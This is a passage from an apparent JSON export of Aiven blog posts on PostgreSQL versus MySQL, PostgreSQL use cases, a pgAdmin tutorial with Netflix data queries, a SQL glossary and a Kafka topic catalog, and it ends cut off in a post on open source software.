news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"oYj5ZpGrJSISGkb52BoVg","_ref":"oYj5ZpGrJSISGkb52BoVg","_type":"reference"},{"_key":"4hAyABhHhRRrLCRrQAMHR1","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"6jjlGcMpx0GJyFCwYDXTGu","_ref":"6jjlGcMpx0GJyFCwYDXTGu","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-a18921115172cfbf7a9eef3cff6487d5400123a7-1567x844-png","_type":"reference"}},"publishedAt":"2021-08-12T00:00:00.000Z","seo":{"metaDescription":"Monitoring and graphs go together like milk and coffee. Find out how to use M3 to monitor your systems, and Grafana to make the results easier to understand.","metaImage":{"alt":"","asset":{"_ref":"image-a18921115172cfbf7a9eef3cff6487d5400123a7-1567x844-png","_type":"reference"}},"metaTitle":"Metrics and graphs with M3 and Grafana"},"slug":{"_type":"slug","current":"/blog/metrics-and-graphs-with-m3-and-grafana"},"subtitle":"Find out how to use M3 to monitor your systems, and Grafana to make the results easier to understand.","title":"Metrics and graphs with M3 and Grafana"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1T7v4WU7Jn5ipK5AzGWgtD","_rev":"msvVOwV0ly404Y5JqDSocX","_type":"post","_updatedAt":"2024-08-09T10:40:42Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"[PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") and [MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\") are both widely used open source database management systems (DBMS) that also support some noSQL features. Coincidentally, or not, both are available through Aiven. \n\nWhen you're looking for a reliable managed database solution, which should you pick? \n\n## How are managed PostgreSQL and MySQL different?\nPostgreSQL and MySQL are very similar in the uses they are put to--well, they’re relational databases, you can’t really use MySQL as a coat rack ([although it can make toast](https://www.percona.com/blog/2016/04/01/fixing-mysql-bug2-now-mysql-makes-toast/ \"Fixing MySQL bug #2: Now MySQL makes toast\")). That said, we can dig out some differences.\n\n1. [Applications](#applications)\n2. [Conformance](#conformance)\n3. [Languages and data types](#languages-and-data-types)\n4. [Performance/Speed](#performance-speed)\n5. [User interfaces](#user-interfaces)\n6. [Extensions](#extensions)\n7. [Data security and authentication](#data-security-and-authentication)\n8. [Coding](#coding)\n9. [Support](#support)\n\n### Applications\nOne big limitation on your freedom of choice is applications that expect to find a particular database. Flask, for example, likes PostgreSQL, so you’re better off using that. Conversely, Drupal goes well with MySQL. (That being said, both have community-driven extensions that allow other databases.)\n### Conformance\nOf the two, PostgreSQL comes closer to full SQL:2016 Core conformance. PostgreSQL 12 supports 160 of the 179 required features. MySQL, on the other hand, strays further from the fold with only 54 supported features.\n\nBoth PostgreSQL and MySQL are ACID compliant (atomicity, consistency, isolation, durability): transactions are protected and queries maintain data integrity. With MySQL, this requires using InnoDB.\n### Languages and data types\nIn terms of supported programming languages, PostgreSQL offers a wider range, but not by much. MySQL ticks the boxes for C/C++, Delphi, Erlang, Go, Java, Lisp, Node.js, Perl, PHP and R; to these, PostgreSQL adds JavaScript, .Net, Python and Tcl.\n\nFor stored procedures, PostgreSQL supports, for example, Ruby, Perl, Python, TCL, PL/pgSQL, SQL and JavaScript. MySQL is only able to counter here with SQL:2003 syntax.\n### Performance/Speed\nCommon wisdom holds that where MySQL is lithe and quick, PostgreSQL is full-featured and versatile. This would make MySQL more suited to heavy loads performing straightforward tasks, and PostgreSQL a better fit for complex use cases.\n\nWhile kind of true, this picture is a little simplistic. \n\nPostgreSQL focuses heavily on performance improvements in its development. PostgreSQL 13 alone listed 12 performance-enhancing changes, continuing a trend from PostgreSQL 12. At the same time, MySQL’s extensive community actively develops new features. However, increased complexity presents performance challenges. So there’s less of a difference now than once there was.\n### User interfaces\nMySQL has MySQL Workbench; you can also use it for PostgreSQL, or opt for e.g. pgAdmin or SQL Workbench.\n### Extensions\nAiven offers a comprehensive list of extensions for PostgreSQL. These include TimescaleDB, which, when used as a PostgreSQL extension, gives you access to features developed for time series data without having to move over to a full-blown TSDB. Then there’s PostGIS, which adds location data features by supporting geographic objects. \n\nBut there are loads more. [Check out the full list of PostgreSQL extensions at Aiven](https://help.aiven.io/en/articles/489561-supported-postgresql-extensions \"Supported PostgreSQL extensions at Aiven\") in our Help article!\n### Data security and authentication\nMySQL implements user management with roles and privileges. For authentication, you can use Linux PAM, LDAP, and native Windows services.\nSimilarly, PostgreSQL has robust user and group management, but it also includes a pluggable config file. It supports PAM and Kerberos.\nSSL is used in PostgreSQL, but not in the more weakly-encrypted MySQL.\n### Coding\nCoding with PostgreSQL or MySQL is slightly different. MySQL is not case sensitive, and happily eats IF and IFNULL statements. It also requires UTF-8 input, though, which PostgreSQL will not accept. PostgreSQL won't like your IFs and IFNULLs, either (you have to use CASE statements instead). \n### Support\nMySQL has a larger community, so when you get in trouble you can count on more robust support; at least as far as your peer group goes. However, it can be argued that PostgreSQL, as the more standards-conformant and robust system, doesn’t require as much support… And it also has a dedicated community.\n\n(Besides--if you come to Aiven, we’ll give you bonus cookies, in the form of 24/7 expert support. Just saying.)\n## Wrapping up: when to use which\nFor developers in need of a rich feature set and admins requiring protected, fault-tolerant environments, PostgreSQL is a good choice. It’s a little complex to set up and manage, but if you get it fully managed from Aiven, neither of those issues will be a headache.\n\nFor those needing a fast, lightweight, proven database solution that’s customizable with a little work, MySQL could be the right companion. It also has a vibrant community to answer any questions you may have. Then again, get it managed from Aiven and we can certainly answer those questions for you.\n\n--\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") and [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [Future PostgreSQL®: Improvement to the Replication Protocol](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol)\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [Aiven for PostgreSQL® now available in UpCloud](https://aiven.io/blog/aiven-postgresql-now-available-in)\n","categories":[{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-5f01eb55975cd66bf1ea61df97d0856ccee17509-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-11T00:00:00.000Z","seo":{"metaDescription":"Aiven offers both PostgreSQL and MySQL as managed services. While similar, they meet different needs. Find out here how to choose between them.","metaImage":{"alt":"","asset":{"_ref":"image-5f01eb55975cd66bf1ea61df97d0856ccee17509-1567x844-png","_type":"reference"}},"metaTitle":"PostgreSQL® vs MySQL® - the Aiven championships"},"slug":{"_type":"slug","current":"/blog/postgresql-vs-mysql-the-aiven-championships"},"subtitle":"Aiven offers both PostgreSQL and MySQL as managed services. While similar, they meet different needs. Find out here how to choose between them.","title":"PostgreSQL® vs MySQL® - the Aiven championships"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"cVucHhUgifwkUQXoHjxCV","_rev":"Y6NNh6Ue45iOdNdcwAPNMq","_type":"post","_updatedAt":"2024-07-05T09:26:43Z","authors":[],"body":"\u003c!--\nworking version in GitHub: \\GitHub\\blog-posts\\posts\\2022\\pillar-pg\\cluster-postgres-usecases.md\ncopy-paste everything into Contentful version for publishing https://app.contentful.com/spaces/q3u27v6lpki8/entries/cVucHhUgifwkUQXoHjxCV\nDO NOT EDIT IN CONTENTFUL\n--\u003e\nAccording to the [db-engines](https://db-engines.com/en/ranking) ranking, PostgreSQL is the fourth most popular database management system (and most popular open source DBMS).\n\nToday in addition to enterprise users, a number of 3rd party vendors, consultancies and independent groups derive products from, consult, support, and offer auxiliary enhancements for PostgreSQL. There are also integrations with artificial intelligence (AI) and machine learning (ML), many cloud versions, hardware-optimized versions, and so forth.\n\nBy far the biggest industry sector using PostgreSQL is the computer software industry, followed by information technology and services. Other industries include hospitals and health care, higher education, financial services, telecommunication, education, marketing and advertising. Government agencies, including the FBI, are also users.\n\nHere are some companies using Aiven for PostgreSQL to great effect in their business-critical systems.\n\n[Catalyst](https://aiven.io/case-studies/a-customer-success-story), a customer success company, uses Aiven for PostgreSQL to store customer data.\n\n[NetSpyGlass](https://aiven.io/case-studies/aiven-cloud-helps-netspyglass) uses Terraform to provision their PostgreSQL and Apache Kafka to provide network monitoring automation solutions for their customers.\n\n[Norauto](https://aiven.io/case-studies/norauto-developers-spin-up-databases-faster-than-ever-with-aiven) is an automotive retail entity running a variety of digital services for their customers using many open source tools, among them Aiven for PostgreSQL.\n\n[Ometria](https://aiven.io/case-studies/aiven-for-postgresql-helps-ometria) uses PostgreSQL to provide customer insights to drive personalised cross-channel marketing experiences.\n\n[OVO Energy](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo) uses advanced data solutions to cut their carbon emissions.\n\n[Spare](https://aiven.io/case-studies/aiven-for-postgresql-helps-spare)'s on-demand transportation service runs on Aiven for PostgreSQL.\n\nTo read more about PostgreSQL, take a look at [What is PostgreSQL?](https://aiven.io/blog/an-introduction-to-postgresql) on the Aiven blog. Or just sign up for a PostgreSQL trial on Aiven at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n## Further reading \n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [Using PostgreSQL® JSON functions to navigate reviews of restaurants in India](https://aiven.io/blog/pg-json-indian-restaurants)\n\n- [Aiven for PostgreSQL® read-only replicas](https://aiven.io/blog/aiven-postgresql-read-only-replicas)\n\n- [Aiven for PostgreSQL® connection pooling](https://aiven.io/blog/aiven-postgresql-connection-pooling)\n\n- [Future PostgreSQL®: Improvement to the Replication Protocol](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol)","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-46c5179e9bf22fdf42dde47f08590747adf7a33a-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-01T00:00:00.000Z","related":[{"_key":"5ea20f1a47b0","_ref":"56t2NYsyR3QoiIYqGfD0aR","_type":"reference"},{"_key":"099276c97bdc","_ref":"1T7v4WU7Jn5ipK5AzGWgtD","_type":"reference"},{"_key":"10846b8b7b9a","_ref":"54xk9NNU2210YD7HOszTgN","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"PostgreSQL® is great for a huge variety of use cases involving data. Find out how Aiven's customers are using it as part of their data architecture.","metaImage":{"alt":"","asset":{"_ref":"image-46c5179e9bf22fdf42dde47f08590747adf7a33a-1567x844-png","_type":"reference"}},"metaTitle":"Use cases for PostgreSQL® | Find out more | Aiven"},"slug":{"_type":"slug","current":"/blog/use-cases-for-postgresql"},"subtitle":"PostgreSQL® is great for a huge variety of use cases involving data. Find out how Aiven's customers are using it as part of their data architecture.","title":"Use cases for PostgreSQL®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1AkIEGNslL6OW2zQtTlJJK","_rev":"T130WEs22RB6SoEkOC1yMY","_type":"post","_updatedAt":"2024-11-19T11:01:34Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"[PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") is the perfect database for a huge variety of business cases, from IoT-type fast insertions to bulk analytics workloads. We even make it possible to explore [exoplanet data](https://aiven.io/blog/discover-exoplanets-with-postgresql)!\n\nDatabase interaction can be performed at various levels: command line tools are great for people glued to their keyboards... but some people prefer a slick point-and-click UI that shows all the information without having to write tons of commands. In this blog post, we'll look at how to use Aiven for PostgreSQL with pgAdmin, one of the most popular tools for administration and development.\n\nHere's what this post will cover:\n1. [Aiven PostgreSQL service creation](#1-create-a-postgresql-database), since you can only query a database if it exists\n2. [How to install pgAdmin and connect to a PostgreSQL database](#2install-and-connect-pgadmin)\n3. [How to load a Netflix dataset into PostgreSQL via pgAdmin](#3-load-netflix-data)\n4. [How to check Samuel L. Jackson statistics via pgAdmin queries](#4-have-fun-with-the-data)\n\n## 1. Create a PostgreSQL database\nIf you don't have a PostgreSQL database ready, why not create one with [Aiven's console](https://console.aiven.io/)? Here's how:\n* In the Aiven Console, click **+ Create a new service**\n* As Product, select PostgreSQL\n* Select a cloud provider, a region and a plan.\nOnce created, you'll be able to find the information about your database by double-clicking on the instance name. The **Overview** tab shows information like **Database Name**, **Host** and **Port**, together with the pre-created `avnadmin` user and password.\n\n![overview tab](//cdn.sanity.io/images/sczeoy4w/production/357a0bc0a8ecb1a83799317c414963b39abbcf47-1195x843.png \"The Aiven Console Overview tab\")\n\nWe just need to wait a couple of minutes until the **Nodes** lights become green, indicating our PostgreSQL service is ready to be used.\n## 2. Install and Connect pgAdmin\nI chose pgAdmin because it's one of the most popular options among PostgreSQL client tools. It can run either as a web or desktop application, and for the purposes of this blog post we'll choose the latter. You can download it from the [pgAdmin website](https://www.pgadmin.org/download/), and the installation just takes a couple of clicks.\n\nOnce installed and launched, the tool asks you to set a **Master Password**. This is a good way to secure all the credentials we're going to store.\n\nNow it's time to connect to PostgreSQL. To do that, click **Create New Server** and fill in the required parameters. On the **General** tab, set the connection name; on the **Connection** tab, enter the hostname, port, and maintenance database as well as username and password used to authenticate. (All this information available in Aiven Console on the Overview tab). Finally, on the **SSL** tab, select `SSL Mode = required`; this is Aiven's default security method.\n\n![three connection steps](//cdn.sanity.io/images/sczeoy4w/production/86b7ecd261ff5fd66af9f0040501162d8a15e232-1505x652.png \"Connecting to PostgreSQL\")\n\nWe should now be able to access our PostgreSQL default screen. It contains a set of visualisations around the number of sessions, transactions per second, in and out tuples and server activity. Very useful information for monitoring our database.\n\n![default screen](//cdn.sanity.io/images/sczeoy4w/production/cedf014efe7f2460a8f4fd23fd33a6485cbdd778-1509x900.png \"Aiven for PostgreSQL default screen with cool visualisations\")\n\npgAdmin offers a wide set of administration features, from local database backups management to **Schema Diff**, a valid tool for enabling a DDL comparison across databases.\n## 3. Load Netflix data\npgAdmin is not only a monitoring and administration tool. Since it also offers development experience, we can use it to create all kinds of objects in the database via GUI or pgsql. For example, you can create a table, upload in it a csv file and start querying it.\n\nWe'll use some data related to Neflix shows, taken from [Kaggle](https://www.kaggle.com/shivamb/netflix-shows?select=netflix_titles.csv). You only need a free account to download it. We can then unzip it and we'll use the file `netflix_titles.csv` for the rest of the blog.\n\nWe have the dataset, what about the table structure? We can generate the table DDL with the handy `ddlgenerator` tool as explained in [a previous post](https://aiven.io/blog/discover-exoplanets-with-postgresql) all we have to do is to run the following from a terminal window\n\n```\npip install ddlgenerator\nddlgenerator postgres ~/Downloads/netflix_titles.csv\n```\nThe above command should provide the following output, which we can now copy and paste in pgAdmin query editor available by selecting **Tools** -\u003e **Query Tools** and run it.\n\n```\nCREATE TABLE netflix_titles (\n\tshow_id VARCHAR(5) NOT NULL,\n\ttype VARCHAR(7) NOT NULL,\n\ttitle VARCHAR(104) NOT NULL,\n\tdirector VARCHAR(208),\n\t_cast VARCHAR(771),\n\tcountry VARCHAR(123),\n\tdate_added TIMESTAMP WITHOUT TIME ZONE,\n\trelease_year BIGINT NOT NULL,\n\trating VARCHAR(8),\n\tduration VARCHAR(10) NOT NULL,\n\tlisted_in VARCHAR(79) NOT NULL,\n\tdescription VARCHAR(248) NOT NULL\n);\n```\n\nBrowse the object tree in the pgAdmin left-side panel to Default-db -\u003e Schemas -\u003e Public -\u003e Tables, and you should see a table named `netflix_titles`.\n\nTo load the csv file into the `netflix_titles` table, do the following:\n1. Right-click on the `netflix_titles` table and select `Import/Export`.\n2. Set `Import` in the Import/Export slider.\n3. Select the `netflix_titles.csv` file from the local computer\n4. Enable the `Header` flag.\n5. Click OK.\n\n![import options](//cdn.sanity.io/images/sczeoy4w/production/55106470588bfc6b8229ac62eca8418f89a4d5d5-700x550.png \"Data import options\")\n\nYou can see your import thread being started and populating the `netflix_titles` table. Once finished, pgAdmin shows the text `Successfully completed`.\n## 4. Have fun with the data!\nNow that we've loaded the data, we can have some fun querying it. Let's create a new query editor and check which were the top 3 countries based on movie production according to the dataset with the following query:\n\n```\nselect country,\n count(*) nr_movies\nfrom netflix_titles\ngroup by country\norder by 2 desc\nlimit 3;\n```\n\nThe result, unsurprisingly, puts **United States** on top, followed by **India** - and then **Null**, probably due to problems during the data collection.\n\nNow it's time to explore the filmography of one of my favourite actors: `Samuel L. Jackson`. Which actor was in the most movies with him?\n\n```\nselect trim(s.actor) actor,\n\tcount(*) nr_movies\nfrom netflix_titles nt,\n\tunnest(string_to_array(nt._cast, ',')) s(actor)\nwhere _cast like '%Samuel L. Jackson%'\n\tand trim(s.actor) \u003c\u003e 'Samuel L. Jackson'\ngroup by trim(s.actor)\norder by 2 desc\nlimit 10;\n```\n\nThe following query allows us to explode, with the `unnest` function, the `_cast` field containing a comma separated list of actors for each movie. The result tells us that **Tim Roth** and **Walton Goggins** are the two lucky actors who shot three movies with Samuel L. Jackson.\n\nFinally, what are the 10 most used words (with more than 3 characters) in movie titles?\n\n```\nselect title_word, count(*) nr_movies\nfrom netflix_titles nt,\n\tunnest(string_to_array(upper(nt.title), ' ')) s(title_word)\nwhere char_length(title_word) \u003e 3\ngroup by title_word\norder by 2 desc\nlimit 10;\n```\n\nAgain, the `unnest` function over the `title` field enables us to verify that, as expected, **LOVE** is the most frequently used word. But run this query yourself to find out which surprising word takes third place!\n## pgAdmin is a perfect fit for PostgreSQL\npgAdmin offers a great UI for PostgreSQL: monitoring the database, comparing changes across instances, managing local backups, querying, importing and exporting data. The tool offers a series of functionalities which make developer's and administrators' lives easier, and daily tasks accessible. \n\nIf you want more information here are few links:\n* [Aiven for PostgreSQL](https://aiven.io/postgresql) for more info about Aiven's Postgres offering\n* [pgAdmin website](https://www.pgadmin.org/) for downloads, documentation and FAQs\n* [Getting started with PostgreSQL](https://aiven.io/docs/products/postgresql/get-started) for information on how to create a service and interact with it in a variety of languages\n* [Aiven's console](https://console.aiven.io/) where you can build your favourite open source data platform\n\nAnd some further reading:\n* [How to stand up multiregion PostgreSQL with Pulumi](https://aiven.io/blog/how-to-stand-up-multiregion-postgresql-with-pulumi) to improve the performance of your PostgreSQL database\n* [Aiven for PostgreSQL for your Go application](https://aiven.io/blog/aiven-for-postgresql-for-your-go-application) \n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e0788ba77399e7f1e027d307c409e985472dfa6f-1567x844-png","_type":"reference"}},"publishedAt":"2021-05-20T00:00:00.000Z","seo":{"metaDescription":"Loading a Netflix dataset into PostgreSQL via pgAdmin or checking Samuel L. Jackson statistics? Find out how it is done in the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-e0788ba77399e7f1e027d307c409e985472dfa6f-1567x844-png","_type":"reference"}},"metaTitle":"Analyzing Netflix shows with pgAdmin and PostgreSQL"},"slug":{"_type":"slug","current":"/blog/analysing-netflix-shows-with-pgadmin-and-postgresql"},"subtitle":"Learn to use pgAdmin with PostgreSQL by... watching movies? Find out more!","title":"Analyzing Netflix shows with pgAdmin and PostgreSQL"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"kFp5PwIgDNlE46qegyYSb","_rev":"sg5cBJWkRHo7pkcz4CzPx5","_type":"post","_updatedAt":"2023-12-12T14:10:31Z","authors":[],"body":"\u003c!--\nworking version in GitHub: \\GitHub\\blog-posts\\2022\\pillar-pg\\cluster-postgres-concepts.md\ncopy-paste everything into Contentful version for publishing https://app.contentful.com/spaces/q3u27v6lpki8/entries/kFp5PwIgDNlE46qegyYSb\nDO NOT EDIT IN CONTENTFUL\n--\u003e\n## Constraint\nConstraints specify the rules that data in a database table has to follow, to ensure that data is accurate and reliable. The common constraints are ```NOT NULL```, ```UNIQUE```, ```PRIMARY KEY```, ```FOREIGN KEY```, ```CHECK```, ```DEFAULT``` and ```CREATE INDEX```.\n\n## Data Type\nThe data type of a column defines the kind of values it can contain, for example integer, character, date, binary etc. Each column must have a name and a data type.\n\n## Foreign Key\nA foreign key links two database tables. The foreign key constraint relates a column in the Child table to the primary key column in the Parent table, identifying the relationship between the two tables.\n\n## Join\nA ```JOIN``` clause combines columns from one or more tables into a new table. In ANSI-standard SQL, the five types of join are ```INNER```, ```LEFT OUTER```, ```RIGHT OUTER```, ```FULL OUTER``` AND ```CROSS```.\n\n## Normalization\nTo reduce data reduncancy and improve integrity, databases can be structured according to a set of 'normal forms'. Normalization means that the columns and tables are organized in such a way that their dependencies are enforced by the database's integrity constraints.\n\n## Partitioning\nPartitioning makes large tables more manageable. This way, you can access or manage only subsets of data, but still maintain the integrity of the table.\n\n## Primary Key\nConstraints placed on a column in a database that ensure that the field uniquely identifies each separate record (row). Its function is to enforce data integrity. When the primary key is used in queries, it provides faster access to data.\n\n## Relationship\nAn established association between tables; see also [Foreign key](#foreign-key).\n\n## Schema\nA schema describes the organization of data in a database and the relationships between objects and elements, like tables, procedures, views, functions, and indexes. A schema is the owner of the database objects it describes, whereas a user can be the owner of the schema itself. A database can have multiple schemas.\n\u003c!-- please add more --\u003e\n\n## Stored procedures\nStored procedures provide applications access to commonly-used data validation, access control, or other methods. They are maintained in the data dictionary of a database, and may contain several combined SQL procedures each.\n\n## Table\nAll the data in a database is contained in tables. They are database objects that organize data in rows and columns, rather like a spreadsheet. Each individual record is represented by a row, and the fields it contains are arranged into columns(*).\n\nEach column can have properties that define the kind of data stored in that field, such as [data type](#data-type), uniqueness and so on.\n\n(*) With the exception of columnar databases, which flips this organization.\n\n## Transaction\nA transaction is unit of work applied to a database, containing a sequence of operations.\n\n## Trigger\nTriggers execute code in response to transactional or other changes to a table or view: when a new item is entered to an inventory table, a similar item could be entered automatically to each of the ```prices```, ```reviews```, and ```orders``` tables.\n\n## Views\nA view is a virtual table based on the results of a SQL statement. This virtual table can be manipulated and queried exactly like a single database table.\n\n--\n\nTo read more about PostgreSQL, take a look at [What is PostgreSQL?](https://www.aiven.io/blog/an-introduction-to-postgresql) on the Aiven blog. Or just sign up for a PostgreSQL trial on Aiven at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n## Further reading\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [Aiven for PostgreSQL® read-only replicas](https://aiven.io/blog/aiven-postgresql-read-only-replicas)\n\n- [Aiven for PostgreSQL® connection pooling](https://aiven.io/blog/aiven-postgresql-connection-pooling)\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Glossary of important terminology related to PostgreSQL® and SQL | Get informed about the open-source, object-relational database management system.","metaImage":{"alt":"","asset":{"_ref":"image-161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412-1567x844-png","_type":"reference"}},"metaTitle":"(Postgre)SQL concepts and terms"},"slug":{"_type":"slug","current":"/blog/postgresql-concepts-and-terms"},"subtitle":"A glossary of terms related to PostgreSQL® and SQL in general.","title":"(Postgre)SQL concepts and terms"} {"__i18n_lang":"en","_createdAt":"2023-12-04T14:18:48Z","_id":"005ef164-918b-4dbb-962f-a3063bc4f8e5","_rev":"zHeFW2t7bUb3lAyGGprE5Z","_type":"post","_updatedAt":"2023-12-05T15:40:03Z","authors":[{"_key":"0ba2e8e94af3","_ref":"5a531f9a-26ef-4216-95ae-2bf249a0b9cd","_type":"reference"}],"body":"Aiven for Apache Kafka® is designed with the primary goal of enabling technical teams to run Apache Kafka® workloads at scale without the complexity that usually comes when running Kafka in production. To enable an improved developer experience in the Aiven console, we are introducing a Kafka topic catalog that allows viewing and consuming all the topics a user has access to across services and projects in their organization.\n\n## Kafka topics catalog in Aiven for Apache Kafka\n\nWhile the Aiven Console already provides an overview of all your Aiven for Apache Kafka services, to date there is no unified place to view all topics you have across services. This is particularly important when it comes to comparing the same topic in different environments, such as `development` and `production`.\n\nWith the newly introduced Kafka topic catalog, Aiven customers can discover all of their data and topics across their different Kafka clusters. For example, when looking for a specific topic, rather than having to go through many different Kafka services (and even separate Aiven projects), users can quickly browse all topics they have access to on the same screen. This gives a straightforward and complete view of the status quo with all the Kafka topics available from a single pane of glass.\n\n## Kafka topics catalog - benefits\n\nCustomers of Aiven for Apache Kafka can now use the Kafka topics catalog and benefit from: \n- A centralized view of their designated topics across services and environments\n- Easy comparison of the same topic’s configuration across different services and environments\n- Easy comparison of the same topic's users and permissions across different services and environments\n\n::youtube[Using Apache Kafka's Topic Catalog]{#iUTMoU29bac}\n\n## Pricing \u0026 Availability\n\nAiven for Apache Kafka is available on all major hyperscalers - AWS, Google Cloud and Microsoft Azure - in over 100 regions globally.\n\nAiven for Apache Kafka plans come with multi-instance clusters across tiers for high availability. Full details can be found on the pricing page.\n\nAiven for Kafka is priced per hour, with prices starting at $0.397/hour ($290/month). The Kafka topics catalog is now available to all existing and new Aiven for Apache Kafka customers at no additional cost.\n","categories":[{"_key":"bf95a78f65bc","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Kafka, Apache Kafka, Kafka topics catalog, Kafka topic configuration, Aiven for Apache Kafka, Kafka governance, Kafka topic governance","asset":{"_ref":"image-b04ae645b3878f57f7cac9448bd2efca7ce8923b-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-05T15:40:00.000Z","related":[{"_key":"eef40b48a7f7","_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"reference"},{"_key":"a9bfc4b43e26","_ref":"5B5i1J33DaNFC1hstMMocV","_type":"reference"},{"_key":"4089b70da492","_ref":"2dc31ac9-3761-40fd-bf1d-b48bff2f9435","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"New Kafka topics catalog in Aiven for Apache Kafka brings a topic-centric view of your Kafka environment directly to the Aiven console","metaImage":{"_type":"mainImage","alt":"Kafka, Apache Kafka, Kafka topics catalog, Kafka topic configuration, Aiven for Apache Kafka, Kafka governance, Kafka topic governance","asset":{"_ref":"image-b04ae645b3878f57f7cac9448bd2efca7ce8923b-1200x628-png","_type":"reference"}},"metaTitle":"Introducing a Kafka topic catalog for Aiven for Apache Kafka"},"slug":{"_type":"slug","current":"/blog/introducing-the-kafka-topic-catalog-for-aiven-for-apache-kafka"},"subtitle":"New Kafka topics catalog in Aiven for Apache Kafka brings a topic-centric view of your Kafka environment directly to the Aiven console","title":"Introducing the Kafka topic catalog for Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2024-03-14T15:45:43Z","_id":"8530b248-40c6-49bc-bde5-a290ed3684c7","_rev":"T130WEs22RB6SoEkO9HEyo","_type":"post","_updatedAt":"2024-11-18T13:05:57Z","authors":[{"_key":"9b80a6e57f13","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"The debate on the cohabitation of open source software (OSS) and proprietary software has persisted as long as both have existed. OSS, designed for unrestricted access and usage, and proprietary software, its opposite, have often been positioned as opponents in the technology arena.\n\nHowever, the reality is far from this either/or dynamic. Nearly all companies, whether knowingly or not, utilize a blend of both OSS and proprietary software. In fact, it is [estimated](https://www.synopsys.com/software-integrity/resources/analyst-reports/open-source-security-risk-analysis.html) that up to 98% of codebases reportedly 